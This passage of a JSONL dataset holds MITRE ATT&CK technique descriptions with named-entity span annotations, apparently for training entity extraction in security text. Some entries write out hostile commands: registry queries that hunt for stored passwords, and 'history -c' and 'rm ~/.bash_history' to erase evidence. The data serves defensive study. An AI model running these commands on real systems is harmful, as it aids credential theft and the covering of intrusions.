{"text": "Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data. By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct Change Default File Association and Masquerading to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1565.003"}}
{"text": "Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: \n\n* Local Machine Hive: <code>reg query HKLM /f password /t REG_SZ /s</code>\n* Current User Hive: <code>reg query HKCU /f password /t REG_SZ /s</code>", "spans": {"SYSTEM: Registry": [[27, 35], [224, 232], [417, 425]], "SYSTEM: Windows Registry": [[98, 114]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1552.002"}}
{"text": "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\nFile sharing over a Windows network occurs over the SMB protocol.   Net can be used to query a remote system for available shared drives using the <code>net view \\\\\\\\remotesystem</code> command. It can also be used to query shared drives on the local system using <code>net share</code>. For macOS, the <code>sharing -l</code> command lists all shared points used for smb services.", "spans": {"SYSTEM: Windows": [[387, 394]], "SYSTEM: SMB": [[419, 422]], "TOOL: Net": [[435, 438]], "FILEPATH: \\\\\\\\remotesystem": [[529, 545]], "SYSTEM: macOS": [[659, 664]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1135"}}
{"text": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1120"}}
{"text": "An adversary may attempt to evade process tree-based analysis by modifying executed malware's parent process ID (PPID). If endpoint protection software leverages the “parent-child\" relationship for detection, breaking this relationship could result in the adversary’s behavior not being associated with previous process tree activity. On Unix-based systems breaking this process tree is common practice for administrators to execute software using scripts and programs. \n\nOn Linux systems, adversaries may execute a series of Native API calls to alter malware's process tree. For example, adversaries can execute their payload without any arguments, call the `fork()` API call twice, then have the parent process exit. This creates a grandchild process with no parent process that is immediately adopted by the `init` system process (PID 1), which successfully disconnects the execution of the adversary's payload from its previous process tree.\n\nAnother example is using the “daemon” syscall to detach from the current parent process and run in the background.", "spans": {"SYSTEM: Unix": [[338, 342]], "SYSTEM: Linux": [[475, 480]], "SYSTEM: Native API": [[526, 536]], "SYSTEM: API": [[668, 671]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1036.009"}}
{"text": "Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure.\n\nAdversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical Databases or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1590.004"}}
{"text": "Adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with. Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.\n\nPrior to Code Signing, adversaries may develop self-signed code signing certificates for use in operations.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1587.002"}}
{"text": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files. File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nWindows implements file and directory ACLs as Discretionary Access Control Lists (DACLs). Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.\n\nAdversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, PowerShell provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via Accessibility Features, Boot or Logon Initialization Scripts, or tainting/hijacking other instrumental binary/configuration files via Hijack Execution Flow.", "spans": {"SYSTEM: Windows": [[446, 453], [919, 926]], "SYSTEM: Access": [[506, 512]], "TOOL: PowerShell": [[1076, 1086]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1222.001"}}
{"text": "Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs.  There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. \n\nAdd-ins can be used to obtain persistence because they can be set to execute code when an Office application starts.", "spans": {"SYSTEM: Microsoft Office": [[22, 38]], "SYSTEM: Office": [[94, 100], [145, 151], [232, 238], [311, 317], [418, 424], [554, 560]], "SYSTEM: Word": [[259, 263]], "SYSTEM: Excel": [[264, 269]], "SYSTEM: VBA": [[298, 301], [376, 379]], "SYSTEM: Component Object Model": [[318, 340]], "SYSTEM: COM": [[342, 345]], "SYSTEM: Outlook": [[445, 452]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1137.006"}}
{"text": "Adversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails. Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks. \n\nAdversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events. Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary.", "spans": {"ORGANIZATION: Microsoft": [[22, 31], [92, 101]], "SYSTEM: Exchange": [[102, 110], [495, 503], [882, 890]], "SYSTEM: .NET": [[437, 441]], "SYSTEM: Exchange Server": [[722, 737]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1505.002"}}
{"text": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use this information to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. This behavior is distinct from Local Storage Discovery which is an adversary's discovery of local drive, disks and/or volumes.\n\nTools such as Systeminfo can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the <code>systemsetup</code> configuration tool on macOS. Adversaries may leverage a Network Device CLI on network devices to gather detailed system information (e.g. <code>show version</code>). On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get` and `system version get`.\n\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.\n\nSystem Information Discovery combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.", "spans": {"MALWARE: Systeminfo": [[472, 482]], "SYSTEM: macOS": [[671, 676]], "SYSTEM: AWS": [[1023, 1026]], "SYSTEM: GCP": [[1028, 1031]], "SYSTEM: Azure": [[1037, 1042]], "SYSTEM: API": [[1135, 1138]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1082"}}
{"text": "Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nAdversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, DNS, or publishing/subscribing. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.", "spans": {"SYSTEM: DNS": [[417, 420]], "SYSTEM: SMB": [[596, 599]], "SYSTEM: SSH": [[601, 604]], "TOOL: RDP": [[609, 612]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1071"}}
{"text": "Adversaries may execute their own malicious payloads by hijacking how the .NET `AppDomainManager` loads assemblies. The .NET framework uses the `AppDomainManager` class to create and manage one or more isolated runtime environments (called application domains) inside a process to host the execution of .NET applications. Assemblies (`.exe` or `.dll` binaries compiled to run as .NET code) may be loaded into an application domain as executable code. \n\nKnown as \"AppDomainManager injection,\" adversaries may execute arbitrary code by hijacking how .NET applications load assemblies. For example, malware may create a custom application domain inside a target process to load and execute an arbitrary assembly. Alternatively, configuration files (`.config`) or process environment variables that define .NET runtime settings may be tampered with to instruct otherwise benign .NET applications to load a malicious assembly (identified by name) into the target process.", "spans": {"SYSTEM: .NET": [[74, 78], [120, 124], [303, 307], [379, 383], [548, 552], [802, 806], [874, 878]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1574.014"}}
{"text": "Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Archive Collected Data. Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may Create Cloud Instance and stage data in that instance.\n\nBy staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection.", "spans": {"TOOL: cmd": [[315, 318]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1074.002"}}
{"text": "An adversary may add additional roles or permissions to an adversary-controlled user or service account to maintain persistent access to a container orchestration system. For example, an adversary with sufficient permissions may create a RoleBinding or a ClusterRoleBinding to bind a Role or ClusterRole to a Kubernetes account. Where attribute-based access control (ABAC) is in use, an adversary with sufficient permissions may modify a Kubernetes ABAC policy to give the target account additional permissions.\n \nThis account modification may immediately follow Create Account or other malicious account activity. Adversaries may also modify existing Valid Accounts that they have compromised.  \n\nNote that where container orchestration systems are deployed in cloud environments, as with Google Kubernetes Engine, Amazon Elastic Kubernetes Service, and Azure Kubernetes Service, cloud-based  role-based access control (RBAC) assignments or ABAC policies can often be used in place of or in addition to local permission assignments. In these cases, this technique may be used in conjunction with Additional Cloud Roles.", "spans": {"SYSTEM: Kubernetes": [[309, 319], [438, 448], [797, 807], [831, 841], [861, 871]], "ORGANIZATION: Google": [[790, 796]], "ORGANIZATION: Amazon": [[816, 822]], "SYSTEM: Elastic": [[823, 830]], "SYSTEM: Azure": [[855, 860]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1098.006"}}
{"text": "Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to System Binary Proxy Execution, adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.", "spans": {"TOOL: at": [[214, 216], [594, 596]], "SYSTEM: Windows": [[376, 383]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1053"}}
{"text": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi). The Msiexec.exe binary may also be digitally signed by Microsoft.\n\nAdversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs. Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the <code>AlwaysInstallElevated</code> policy is enabled.", "spans": {"SYSTEM: Windows": [[124, 131], [441, 448]], "ORGANIZATION: Microsoft": [[274, 283]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1218.007"}}
{"text": "Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access.\n\nAdversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Trusted Relationship).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1590.003"}}
{"text": "Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target. This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.\n\nReflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS and NTP, though the use of several others in the wild have been documented.  In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.", "spans": {"SYSTEM: DNS": [[1365, 1368]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1498.002"}}
{"text": "Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. \n\nWindows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. \n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.", "spans": {"SYSTEM: Windows": [[166, 173]], "SYSTEM: Security Accounts Manager": [[536, 561]], "SYSTEM: SAM": [[563, 566]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1556.002"}}
{"text": "Adversaries may abuse components of Terminal Services to enable persistent access to systems. Microsoft Terminal Services, renamed to Remote Desktop Services in some Windows Server OSs as of 2022, enable remote terminal connections to hosts. Terminal Services allows servers to transmit a full, interactive, graphical user interface to clients via RDP.\n\nWindows Services that are run as a \"generic\" process (ex: <code>svchost.exe</code>) load the service's DLL file, the location of which is stored in a Registry entry named <code>ServiceDll</code>. The <code>termsrv.dll</code> file, typically stored in `%SystemRoot%\\System32\\`, is the default <code>ServiceDll</code> value for Terminal Services in `HKLM\\System\\CurrentControlSet\\services\\TermService\\Parameters\\`.\n\nAdversaries may modify and/or replace the Terminal Services DLL to enable persistent access to victimized hosts. Modifications to this DLL could be done to execute arbitrary payloads (while also potentially preserving normal <code>termsrv.dll</code> functionality) as well as to simply enable abusable features of Terminal Services. For example, an adversary may enable features such as concurrent Remote Desktop Protocol sessions by either patching the <code>termsrv.dll</code> file or modifying the <code>ServiceDll</code> value to point to a DLL that provides increased RDP functionality. On a non-server Windows OS this increased functionality may also enable an adversary to avoid Terminal Services prompts that warn/log out users of a system when a new RDP session is created.", "spans": {"ORGANIZATION: Microsoft": [[94, 103]], "SYSTEM: Windows Server": [[166, 180]], "TOOL: RDP": [[348, 351], [1341, 1344], [1527, 1530]], "SYSTEM: Windows": [[354, 361], [1376, 1383]], "SYSTEM: Registry": [[504, 512]], "FILEPATH: %SystemRoot%": [[606, 618]], "TOOL: Remote Desktop Protocol": [[1166, 1189]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1505.005"}}
{"text": "Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents. These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.\n\nScripts can be run from the command-line via <code>osascript /path/to/script</code> or <code>osascript -e \"script here\"</code>. Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding <code>#!/usr/bin/osascript</code> to the start of the script file.\n\nAppleScripts do not need to call <code>osascript</code> to execute. However, they may be executed from within mach-O binaries by using the macOS Native APIs <code>NSAppleScript</code> or <code>OSAScript</code>, both of which execute code independent of the <code>/usr/bin/osascript</code> command line utility.\n\nAdversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute Native APIs, which otherwise would require compilation and execution in a mach-O binary file format. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via Python.", "spans": {"SYSTEM: macOS": [[66, 71], [952, 957], [1474, 1479]], "FILEPATH: /usr/bin/osascript": [[753, 771], [1076, 1094]], "SYSTEM: SSH": [[1222, 1225]], "SYSTEM: Python": [[1767, 1773]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1059.002"}}
{"text": "Adversaries may abuse software extensions to establish persistent access to victim systems. Software extensions are modular components that enhance or customize the functionality of software applications, including web browsers, Integrated Development Environments (IDEs), and other platforms. Extensions are typically installed via official marketplaces, app stores, or manually loaded by users, and they often inherit the permissions and access levels of the host application. \n\n  \nMalicious extensions can be introduced through various methods, including social engineering, compromised marketplaces, or direct installation by users or by adversaries who have already gained access to a system. Malicious extensions can be named similarly or identically to benign extensions in marketplaces. Security mechanisms in extension marketplaces may be insufficient to detect malicious components, allowing adversaries to bypass automated scanners or exploit trust established during the installation process. Adversaries may also abuse benign extensions to achieve their objectives, such as using legitimate functionality to tunnel data or bypass security controls. \n\nThe modular nature of extensions and their integration with host applications make them an attractive target for adversaries seeking to exploit trusted software ecosystems. Detection can be challenging due to the inherent trust placed in extensions during installation and their ability to blend into normal application workflows.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1176"}}
{"text": "Adversaries may target the different network services provided by systems to conduct a denial of service (DoS). Adversaries often target the availability of DNS and web services, however others have been targeted as well. Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.\n\nOne example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.\n\nAnother variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.", "spans": {"SYSTEM: DNS": [[157, 160]], "SYSTEM: HTTP": [[450, 454], [505, 509]], "TOOL: top": [[586, 589]], "SYSTEM: SSL": [[785, 788], [852, 855], [865, 868], [1015, 1018], [1165, 1168]], "SYSTEM: TLS": [[856, 859], [869, 872], [1169, 1172]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1499.002"}}
{"text": "Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1195.003"}}
{"text": "Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes. These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\n\nAdversaries may abuse these OS API functions as a means of executing behaviors. Similar to Command and Scripting Interpreter, the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system.\n\nNative API functions (such as <code>NtCreateProcess</code>) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries. For example, functions such as the Windows API <code>CreateProcess()</code> or GNU <code>fork()</code> will allow programs and scripts to start other processes. This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.\n\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.\n\nAdversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks. Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via Disable or Modify Tools.", "spans": {"SYSTEM: API": [[79, 82], [480, 483], [586, 589], [968, 971], [1101, 1104], [1196, 1199], [1440, 1443], [1673, 1676], [1772, 1775]], "SYSTEM: Native API": [[714, 724]], "SYSTEM: Windows": [[960, 967]], "ORGANIZATION: Microsoft": [[1290, 1299]], "SYSTEM: .NET": [[1300, 1304]], "SYSTEM: macOS": [[1309, 1314]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1106"}}
{"text": "Adversaries may attempt to steal Kerberos tickets stored in credential cache files (or ccache). These files are used for short term storage of a user's active session credentials. The ccache file is created upon user authentication and allows for access to multiple services without the user having to re-enter credentials. \n\nThe <code>/etc/krb5.conf</code> configuration file and the <code>KRB5CCNAME</code> environment variable are used to set the storage location for ccache entries. On Linux, credentials are typically stored in the `/tmp` directory with a naming format of `krb5cc_%UID%` or `krb5.ccache`. On macOS, ccache entries are stored by default in memory with an `API:{uuid}` naming scheme. Typically, users interact with ticket storage using <code>kinit</code>, which obtains a Ticket-Granting-Ticket (TGT) for the principal; <code>klist</code>, which lists obtained tickets currently held in the credentials cache; and other built-in binaries.\n\nAdversaries can collect tickets from ccache files stored on disk and authenticate as the current user without their password to perform Pass the Ticket attacks. Adversaries can also use these tickets to impersonate legitimate users with elevated privileges to perform Privilege Escalation. Tools like Kekeo can also be used by adversaries to convert ccache files to Windows format for further Lateral Movement. On macOS, adversaries may use open-source tools or the Kerberos framework to interact with ccache files and extract TGTs or Service Tickets via lower-level APIs.", "spans": {"SYSTEM: Kerberos": [[33, 41], [1426, 1434]], "FILEPATH: /etc/krb5.conf": [[336, 350]], "SYSTEM: Linux": [[490, 495]], "FILEPATH: %UID%": [[586, 591]], "SYSTEM: macOS": [[614, 619], [1374, 1379]], "SYSTEM: API": [[677, 680]], "SYSTEM: Windows": [[1326, 1333]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1558.005"}}
{"text": "Adversaries may clear or remove evidence of malicious network connections in order to clean up traces of their operations. Configuration settings as well as various artifacts that highlight connection history may be created on a system and/or in application logs from behaviors that require network connections, such as Remote Services or External Remote Services. Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries.\n\nNetwork connection history may be stored in various locations. For example, RDP connection history may be stored in Windows Registry values under :\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers</code>\n\nWindows may also store information about recent RDP connections in files such as <code>C:\\Users\\\\%username%\\Documents\\Default.rdp</code> and `C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Terminal\nServer Client\\Cache\\`. Similarly, macOS and Linux hosts may store information highlighting connection history in system logs (such as those stored in `/Library/Logs` and/or `/var/log/`).\n\nMalicious network connections may also require changes to third-party applications or network configuration settings, such as Disable or Modify System Firewall or tampering to enable Proxy. Adversaries may delete or modify this data to conceal indicators and/or impede defensive analysis.", "spans": {"TOOL: RDP": [[552, 555], [840, 843]], "SYSTEM: Windows Registry": [[592, 608]], "ORGANIZATION: Microsoft": [[660, 669], [743, 752]], "SYSTEM: Windows": [[792, 799]], "FILEPATH: C:\\Users\\\\%username%\\Documents\\Default.rdp": [[879, 921]], "FILEPATH: C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Terminal": [[934, 986]], "SYSTEM: macOS": [[1021, 1026]], "SYSTEM: Linux": [[1031, 1036]], "FILEPATH: /var/log/`).": [[1161, 1173]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1070.007"}}
{"text": "Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by Password Cracking Kerberos messages. \n\nPreauthentication offers protection against offline Password Cracking. When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user’s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user’s password.\n\nFor each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline Password Cracking attacks similarly to Kerberoasting and expose plaintext credentials.  \n\nAn account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like PowerShell with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. \n\nCracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to Valid Accounts.", "spans": {"SYSTEM: Kerberos": [[66, 74], [114, 122]], "SYSTEM: Windows": [[1283, 1290]], "TOOL: PowerShell": [[1302, 1312]], "SYSTEM: LDAP": [[1321, 1325]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1558.004"}}
{"text": "Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.\n\nCompromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1584.003"}}
{"text": "Adversaries may execute commands and perform malicious tasks using AutoIT and AutoHotKey automation scripts. AutoIT and AutoHotkey (AHK) are scripting languages that enable users to automate Windows tasks. These automation scripts can be used to perform a wide variety of actions, such as clicking on buttons, entering text, and opening and closing programs.\n\nAdversaries may use AHK (`.ahk`) and AutoIT (`.au3`) scripts to execute malicious code on a victim's system. For example, adversaries have used for AHK to execute payloads and other modular malware such as keyloggers. Adversaries have also used custom AHK files containing embedded malware as Phishing payloads.\n\nThese scripts may also be compiled into self-contained executable payloads (`.exe`).", "spans": {"SYSTEM: Windows": [[191, 198]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1059.010"}}
{"text": "Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.\n\nAdversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.\n\nAdversaries may modify the key size used and other encryption parameters using specialized commands in a Network Device CLI introduced to the system through Modify System Image to change the configuration of the device.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1600.001"}}
{"text": "In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.\n\nOn Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Adversaries may delete their commands from these logs by manually clearing the history (<code>history -c</code>) or deleting the bash history file <code>rm ~/.bash_history</code>.  \n\nAdversaries may also leverage a Network Device CLI on network devices to clear command history data (<code>clear logging</code> and/or <code>clear history</code>). On ESXi servers, command history may be manually removed from the `/var/log/shell.log` file.\n\nOn Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the <code>PSReadLine</code> module. The built-in history only tracks the commands used in the current session. This command history is not available to other 